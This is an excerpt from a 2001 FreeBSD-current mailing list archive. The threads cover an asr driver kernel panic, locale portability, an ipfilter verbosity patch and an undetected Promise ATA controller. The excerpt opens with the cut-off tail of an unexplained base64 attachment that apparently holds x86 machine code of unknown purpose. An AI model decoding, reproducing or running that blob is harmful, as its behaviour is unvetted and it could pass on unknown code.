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 ------=_NextPart_000_006C_01AED33C.9CD33C30-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 29 12:18:47 2001 Delivered-To: freebsd-current@freebsd.org Received: from magic.adaptec.com (magic.adaptec.com [208.236.45.80]) by hub.freebsd.org (Postfix) with ESMTP id 4CEA437B401 for ; Mon, 29 Oct 2001 12:18:44 -0800 (PST) Received: from redfish.adaptec.com (redfish.adaptec.com [162.62.50.11]) by magic.adaptec.com (8.8.8+Sun/8.8.8) with ESMTP id MAA11897; Mon, 29 Oct 2001 12:18:39 -0800 (PST) Received: from btc.btc.adaptec.com (btc.btc.adaptec.com [162.62.64.10]) by redfish.adaptec.com (8.8.8+Sun/8.8.8) with ESMTP id MAA18946; Mon, 29 Oct 2001 12:04:25 -0800 (PST) Received: from hollin.btc.adaptec.com (hollin [162.62.149.56]) by btc.btc.adaptec.com (8.8.8+Sun/8.8.8) with ESMTP id NAA10907; Mon, 29 Oct 2001 13:18:37 -0700 (MST) Received: (from scottl@localhost) by hollin.btc.adaptec.com (8.11.6/8.11.4) id f9TKDj407174; Mon, 29 Oct 2001 13:13:45 -0700 (MST) (envelope-from scottl) Date: Mon, 29 Oct 2001 13:13:45 -0700 From: Scott Long To: Eric P Liedtke Cc: freebsd-current@freebsd.org Subject: Re: GENERIC Kernel Panic Message-ID: <20011029131345.E6878@hollin.btc.adaptec.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.23i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Oct 29, 2001 at 02:19:16PM +0000, Eric P Liedtke wrote: > I own and MSI 694D Pro MoBo. It's a VIA 694x chip based dual P-III board. > I recently installed a version of 5.0 from March, and it was running fine. > I cvsup'd and rebuilt everything Friday night. When I tried to boot the new > kernel it was panicing on a call to destroy_dev() on device 154/0 which I > believe is an asr device (Adaptec Scsi controller of some sort). Here is > what it looked like This is a known problem that was recently exposed. If you don't have an asr card you can just remove the driver from your kernel. I'll have a fix into CVS within a few hours. Scott > > > Pentium Pro MTRR support enabled > Warning: devsm() called on 154/0 > Warning: Driver mistake: destroy_dev on 154/0 > panic don't do that > debugger ("panic") > Stopped at Debugger + 0x44: pushl %ebx > db> > > So I found the code in kern_conf.c that makes the call to panic and just > commented out the panic and rebuilt the kernel. I did this based on the cvs > log entry about 2 file revs back and also the fact that I noticed the > orginial kernel I installed from March had the same warnings but no panic > and seemed to run ok. This seemed to work. I still got the warnings but no > panic. So I built a custom kernel without scsi, since there isn't any in > this machine. And now it runs like a champ. a dmesg from the currently good > CUSTOM kernel is attatched. I am guessing it was erroneously trying to > build an asr device then realizing there wasn't one and destroying it. Is > this correct? If you need any more info on this from the debugger let me > know I still have a copy of a GENERIC kernel with this problem. > > -Eric Liedtke > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 29 15:35:54 2001 Delivered-To: freebsd-current@freebsd.org Received: from smtp.uninet.ee (smtp.uninet.ee [194.204.0.4]) by hub.freebsd.org (Postfix) with ESMTP id 13BCF37B409; Mon, 29 Oct 2001 15:35:45 -0800 (PST) Received: from inspiral.net (tigris-isdn-129.uninet.ee [194.204.61.129]) by smtp.uninet.ee (Postfix) with ESMTP id 8F56E38489; Tue, 30 Oct 2001 01:40:23 +0200 (EET) Message-ID: <3BDDE75A.EC38BE02@inspiral.net> Date: Tue, 30 Oct 2001 01:33:47 +0200 From: Lauri Laupmaa X-Mailer: Mozilla 4.78 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: stable@freebsd.org, current@freebsd.org Subject: locale compatibility on -STABLE & -CURRENT Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Are locale definitions portable between stable and current systems ? On a -CURRENT system I see files like /usr/src/share/colldef/et_EE.ISO8859-15.src, /usr/src/share/monetdef/et_EE.ISO8859-15.src, etc. If and how can I port those to -STABLE ? TIA -- L. ____________ www.minut.ee To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 29 15:53:37 2001 Delivered-To: freebsd-current@freebsd.org Received: from cutter.wantabe.com (cutter.wantabe.com [204.2.6.8]) by hub.freebsd.org (Postfix) with ESMTP id 501AA37B401; Mon, 29 Oct 2001 15:53:31 -0800 (PST) Received: from cutter.wantabe.com (cutter.wantabe.com [204.2.6.8]) by cutter.wantabe.com (8.10.1/8.10.1) with ESMTP id f9TNrLu82933; Mon, 29 Oct 2001 17:53:21 -0600 (CST) Date: Mon, 29 Oct 2001 17:53:21 -0600 (CST) From: "Jeffrey J. Libman" To: Lauri Laupmaa Cc: stable@FreeBSD.ORG, current@FreeBSD.ORG Subject: Re: locale compatibility on -STABLE & -CURRENT In-Reply-To: <3BDDE75A.EC38BE02@inspiral.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hmmm...i would like to add to this: i upgraded from 3.5 to 4.3....actually installing new boxes with fresh installs and cvsup'd to stable (recent). most perl scripts seem to be doing fine, but one complains of locale problems....this is a perl upgrade too. any hints on how to get backwards compatibility...or fix the locale issues? cheers, jeff -- | |\ +------------------------------+ Jeffrey J. Libman, ops. mgr. | \ | Wantabe Internet Services | Wantabe, Inc. |__\ +------------------------------+ jeffrl@wantabe.com <-----|------> | access web cgi ftp news mail | (281) 493-0718 __,.-=\'`^`'~=-../__,.-= +------------------------------+ On Tue, 30 Oct 2001, Lauri Laupmaa wrote: > Hi > > Are locale definitions portable between stable and current systems ? > On a -CURRENT system I see files like > /usr/src/share/colldef/et_EE.ISO8859-15.src, > /usr/src/share/monetdef/et_EE.ISO8859-15.src, etc. > > If and how can I port those to -STABLE ? > TIA > -- > L. > ____________ > www.minut.ee > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 7:11: 9 2001 Delivered-To: freebsd-current@freebsd.org Received: from newmx.estpak.ee (ld1.estpak.ee [194.126.101.98]) by hub.freebsd.org (Postfix) with ESMTP id 7765C37B407 for ; Tue, 30 Oct 2001 07:11:07 -0800 (PST) Received: from myhakas.estpak.ee (myhakas.estpak.ee [194.126.115.54]) by newmx.estpak.ee (Postfix) with ESMTP id 539205DF9E; Tue, 30 Oct 2001 16:10:29 +0200 (EET) Received: (from vallo@localhost) by myhakas.estpak.ee (8.11.6/8.11.6) id f9UFAxN01154; Tue, 30 Oct 2001 17:10:59 +0200 (EET) (envelope-from vallo) Date: Tue, 30 Oct 2001 17:10:59 +0200 From: Vallo Kallaste To: Lauri Laupmaa Cc: current@freebsd.org Subject: Re: locale compatibility on -STABLE & -CURRENT Message-ID: <20011030171059.B955@myhakas.estpak.ee> Reply-To: kalts@estpak.ee Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3BDDE75A.EC38BE02@inspiral.net> User-Agent: Mutt/1.3.18i-ja0 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Oct 30, 2001 at 01:33:47AM +0200, Lauri Laupmaa wrote: > Hi > > Are locale definitions portable between stable and current systems ? > On a -CURRENT system I see files like > /usr/src/share/colldef/et_EE.ISO8859-15.src, > /usr/src/share/monetdef/et_EE.ISO8859-15.src, etc. > > If and how can I port those to -STABLE ? Probably all but short month names will work, but I haven't tried. But beware, collation definition is not backward compatible with ascii, so you'll probably run into problems with any script which uses nonportable way to indicate character range. Most probably you find yourself stuck with some port and the only cure is to set your LANG to C while doing such tasks or wait until world ends (because it'll take long before all scripts will be correct). -- Vallo Kallaste kalts@estpak.ee To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 11:54:32 2001 Delivered-To: freebsd-current@freebsd.org Received: from mailout00.sul.t-online.de (mailout00.sul.t-online.com [194.25.134.16]) by hub.freebsd.org (Postfix) with ESMTP id 3450737B401 for ; Tue, 30 Oct 2001 11:54:29 -0800 (PST) Received: from fwd06.sul.t-online.de by mailout00.sul.t-online.de with smtp id 15yexw-0006t6-01; Tue, 30 Oct 2001 20:54:28 +0100 Received: from twoflower (320072111332-0001@[217.80.121.136]) by fwd06.sul.t-online.com with smtp id 15yexo-0vYAcaC; Tue, 30 Oct 2001 20:54:20 +0100 Reply-To: From: Jan.Stocker@t-online.de (Jan Stocker) To: Subject: WARNING: Driver mistake: destroy_dev on 154/0 Date: Tue, 30 Oct 2001 20:53:45 +0100 Message-ID: <000801c1617c$9599ad00$fe02010a@twoflower.liebende.de> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 X-Sender: 320072111332-0001@t-dialin.net Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ive updated the first time my system to current (Oct-28, with cvsup). After a make buildword and installworld, i made a new GENERIC kernel and copied the file GENERIC.hints to /boot/device.hints and installed the new kernel. I ve updated all files in /etc and remade all devices. Now a bootup hangs: a) The kernel is loading b) acpi.ko is loading c) "Pentium Pro MTRR support enable" d) "WARNING: Driver mistake: destroy_dev on 154/0" next is a kernel panic "dont do that" So whats on? Jan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 12:20:17 2001 Delivered-To: freebsd-current@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id CF9DB37B407 for ; Tue, 30 Oct 2001 12:20:13 -0800 (PST) Received: by flood.ping.uio.no (Postfix, from userid 2602) id B14EF14C40; Tue, 30 Oct 2001 21:20:12 +0100 (CET) X-URL: http://www.ofug.org/~des/ X-Disclaimer: The views expressed in this message do not necessarily coincide with those of any organisation or company with which I am or have been affiliated. To: Cc: Subject: Re: WARNING: Driver mistake: destroy_dev on 154/0 References: <000801c1617c$9599ad00$fe02010a@twoflower.liebende.de> From: Dag-Erling Smorgrav Date: 30 Oct 2001 21:20:12 +0100 In-Reply-To: <000801c1617c$9599ad00$fe02010a@twoflower.liebende.de> Message-ID: Lines: 8 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Jan.Stocker@t-online.de (Jan Stocker) writes: > So whats on? Please refer to the Handbook, section 19.2.1.4, first paragraph. DES -- Dag-Erling Smorgrav - des@ofug.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 12:46:25 2001 Delivered-To: freebsd-current@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id 3B4C737B405 for ; Tue, 30 Oct 2001 12:46:16 -0800 (PST) Received: from hades.hell.gr (patr530-a008.otenet.gr [212.205.215.8]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id f9UKkCG01916 for ; Tue, 30 Oct 2001 22:46:12 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id f9UDjak41921 for current@freebsd.org; Tue, 30 Oct 2001 15:45:36 +0200 (EET) (envelope-from charon@labs.gr) Date: Tue, 30 Oct 2001 15:45:35 +0200 From: Giorgos Keramidas To: current@FreeBSD.ORG Subject: [PATCH] making ipfilter/ipnat silent Message-ID: <20011030154535.A41047@hades.hell.gr> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="d6Gm4EdcadzBjdND" Content-Disposition: inline User-Agent: Mutt/1.3.22.1i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --d6Gm4EdcadzBjdND Content-Type: text/plain; charset=us-ascii Content-Disposition: inline According to PR conf/22937 ipfilter_program is used in rc.network with `eval' to make it possible for someone to write: ipfilter_flags=">/dev/null" to avoid seeing messages that ipfilter prints, intermixed with other stuff from the rc scripts. When trying to change the ipfilter code in rc.network with Arjan, a few days back, we kept the `eval' bits there, just in case someone already uses them. I was thinking that fixing ipfilter & ipnat to not print messages (unless an error occurs, of course). The attached patch makes ipf/ipnat print those messages only with the -v (verbose) option. However, ipfilter is contrib/ stuff and I can see from the commits that only imports have been done on this. What do you guys think? Does this look ok, for posting to ipfilter developers? (hello Darren :-) -giorgos --d6Gm4EdcadzBjdND Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="diff.ipf-verbose" Index: ipf.c =================================================================== RCS file: /home/ncvs/src/contrib/ipfilter/ipf.c,v retrieving revision 1.1.1.11 diff -2 -u -r1.1.1.11 ipf.c --- ipf.c 28 Jul 2001 11:59:19 -0000 1.1.1.11 +++ ipf.c 29 Oct 2001 20:46:59 -0000 @@ -475,5 +475,5 @@ if (opendevice(ipfname) != -2 && ioctl(fd, SIOCSWAPA, &in) == -1) perror("ioctl(SIOCSWAPA)"); - else + else if (opts & OPT_VERBOSE) printf("Set %d now inactive\n", in); } @@ -486,5 +486,5 @@ if (opendevice(ipfname) != -2 && ioctl(fd, SIOCFRSYN, &frsyn) == -1) perror("SIOCFRSYN"); - else + else if (opts & OPT_VERBOSE) printf("filter sync'd\n"); } Index: ipnat.c =================================================================== RCS file: /home/ncvs/src/contrib/ipfilter/ipnat.c,v retrieving revision 1.1.1.13 diff -2 -u -r1.1.1.13 ipnat.c --- ipnat.c 28 Jul 2001 11:59:20 -0000 1.1.1.13 +++ ipnat.c 29 Oct 2001 20:46:59 -0000 @@ -442,5 +442,5 @@ if (!(opts & OPT_NODO) && ioctl(fd, SIOCIPFFL, &n) == -1) perror("ioctl(SIOCFLNAT)"); - else + else if (opts & OPT_VERBOSE) printf("%d entries flushed from NAT table\n", n); } @@ -450,5 +450,5 @@ if (!(opts & OPT_NODO) && ioctl(fd, SIOCIPFFL, &n) == -1) perror("ioctl(SIOCCNATL)"); - else + else if (opts & OPT_VERBOSE) printf("%d entries flushed from NAT list\n", n); } --d6Gm4EdcadzBjdND-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 13:23:17 2001 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.86.163]) by hub.freebsd.org (Postfix) with ESMTP id 4131737B401 for ; Tue, 30 Oct 2001 13:23:15 -0800 (PST) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.11.6/8.11.6) with ESMTP id f9ULMX951165; Tue, 30 Oct 2001 22:22:34 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: jstocker@tzi.de Cc: freebsd-current@FreeBSD.ORG Subject: Re: WARNING: Driver mistake: destroy_dev on 154/0 In-Reply-To: Your message of "Tue, 30 Oct 2001 20:53:45 +0100." <000801c1617c$9599ad00$fe02010a@twoflower.liebende.de> Date: Tue, 30 Oct 2001 22:22:33 +0100 Message-ID: <51163.1004476953@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message <000801c1617c$9599ad00$fe02010a@twoflower.liebende.de>, Jan Stocker writes: >Ive updated the first time my system to current (Oct-28, with cvsup). After >a make >buildword and installworld, i made a new GENERIC kernel and copied the file >GENERIC.hints to /boot/device.hints and installed the new kernel. I ve >updated all files in /etc and remade all devices. Now a bootup hangs: > >a) The kernel is loading >b) acpi.ko is loading >c) "Pentium Pro MTRR support enable" >d) "WARNING: Driver mistake: destroy_dev on 154/0" > >next is a kernel panic "dont do that" Remove the asr driver from your kernel config until somebody fixes its use of destroy_dev() -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 13:36:20 2001 Delivered-To: freebsd-current@freebsd.org Received: from mail11.speakeasy.net (mail11.speakeasy.net [216.254.0.211]) by hub.freebsd.org (Postfix) with ESMTP id 3E5AF37B40C for ; Tue, 30 Oct 2001 13:36:13 -0800 (PST) Received: (qmail 55937 invoked from network); 30 Oct 2001 21:36:00 -0000 Received: from unknown (HELO laptop.baldwin.cx) ([64.81.54.73]) (envelope-sender ) by mail11.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 30 Oct 2001 21:36:00 -0000 Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <51163.1004476953@critter.freebsd.dk> Date: Tue, 30 Oct 2001 13:35:59 -0800 (PST) From: John Baldwin To: Poul-Henning Kamp , imp@FreeBSD.org Subject: Re: WARNING: Driver mistake: destroy_dev on 154/0 Cc: freebsd-current@FreeBSD.ORG, jstocker@tzi.de Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 30-Oct-01 Poul-Henning Kamp wrote: > In message <000801c1617c$9599ad00$fe02010a@twoflower.liebende.de>, Jan > Stocker > writes: >>Ive updated the first time my system to current (Oct-28, with cvsup). After >>a make >>buildword and installworld, i made a new GENERIC kernel and copied the file >>GENERIC.hints to /boot/device.hints and installed the new kernel. I ve >>updated all files in /etc and remade all devices. Now a bootup hangs: >> >>a) The kernel is loading >>b) acpi.ko is loading >>c) "Pentium Pro MTRR support enable" >>d) "WARNING: Driver mistake: destroy_dev on 154/0" >> >>next is a kernel panic "dont do that" > > Remove the asr driver from your kernel config until somebody > fixes its use of destroy_dev() Maybe we should remove it from GENERIC? Warner, do you think we need an updating entry for this? -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 13:52: 6 2001 Delivered-To: freebsd-current@freebsd.org Received: from aldan.algebra.com (aldan.algebra.com [216.254.65.224]) by hub.freebsd.org (Postfix) with ESMTP id D316F37B405; Tue, 30 Oct 2001 13:52:01 -0800 (PST) Received: from aldan.algebra.com (localhost [127.0.0.1]) by aldan.algebra.com (8.11.6/8.11.5) with ESMTP id f9ULnpW04142; Tue, 30 Oct 2001 16:49:54 -0500 (EST) (envelope-from mi@aldan.algebra.com) Message-Id: <200110302149.f9ULnpW04142@aldan.algebra.com> Date: Tue, 30 Oct 2001 16:49:49 -0500 (EST) From: Mikhail Teterin Subject: ouch -- the second controller on Promise-66 is not detected! To: current@FreeBSD.org Cc: sos@FreeBSD.org MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi! The kernel from Oct 14 has no troubles seeing it as ata-3. Todays kernel sees ata-0, ata-1, ata-2, but not ata-3. In fact, there is a message about ata-2 already present (and as such being skipped) in dmesg, so, may be, it is skipping the (real) ata-2, and reports ata-3 as ata-2. I have two identical drives (ad4 and ad6) on both of the card's controllers -- with all the source code there (on a ccd array), so I can not do meaningful debugging in this situation... -- |\__-----__/| _____/ ::::: :::\_____ '__--( ::::::::..::)--__` -mi If you have a / _- \/ :::::::\/ -_ serious knowledge / / :. .::::\ \ about computers -- | ::::::::::::| Ok, let's say you broke keep it in a secret! _|/ ::::____::\|_ the wall with your head "Rules of dating", / /:::::/:_::\::\:.\ What are you going to 'Playboy', ? 1994 | :| ..:(_/ \::|::|::| do in the next cell? | :|:::::. ::|: |::|.:| Stanislaw J. Lec \ |:: :::_/::/: :|:/ ((___\____\____/___/___)) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 14:57:33 2001 Delivered-To: freebsd-current@freebsd.org Received: from peter3.wemm.org (c1315225-a.plstn1.sfba.home.com [24.14.150.180]) by hub.freebsd.org (Postfix) with ESMTP id 04B6E37B405; Tue, 30 Oct 2001 14:57:18 -0800 (PST) Received: from overcee.netplex.com.au (overcee.wemm.org [10.0.0.3]) by peter3.wemm.org (8.11.0/8.11.0) with ESMTP id f9UMvHM63756; Tue, 30 Oct 2001 14:57:17 -0800 (PST) (envelope-from peter@wemm.org) Received: from wemm.org (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id 87F2339F0; Tue, 30 Oct 2001 14:57:17 -0800 (PST) (envelope-from peter@wemm.org) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Mikhail Teterin Cc: current@freebsd.org, sos@freebsd.org, ache@freebsd.org Subject: Re: ouch -- the second controller on Promise-66 is not detected! In-Reply-To: <200110302149.f9ULnpW04142@aldan.algebra.com> Date: Tue, 30 Oct 2001 14:57:17 -0800 From: Peter Wemm Message-Id: <20011030225717.87F2339F0@overcee.netplex.com.au> Sender: 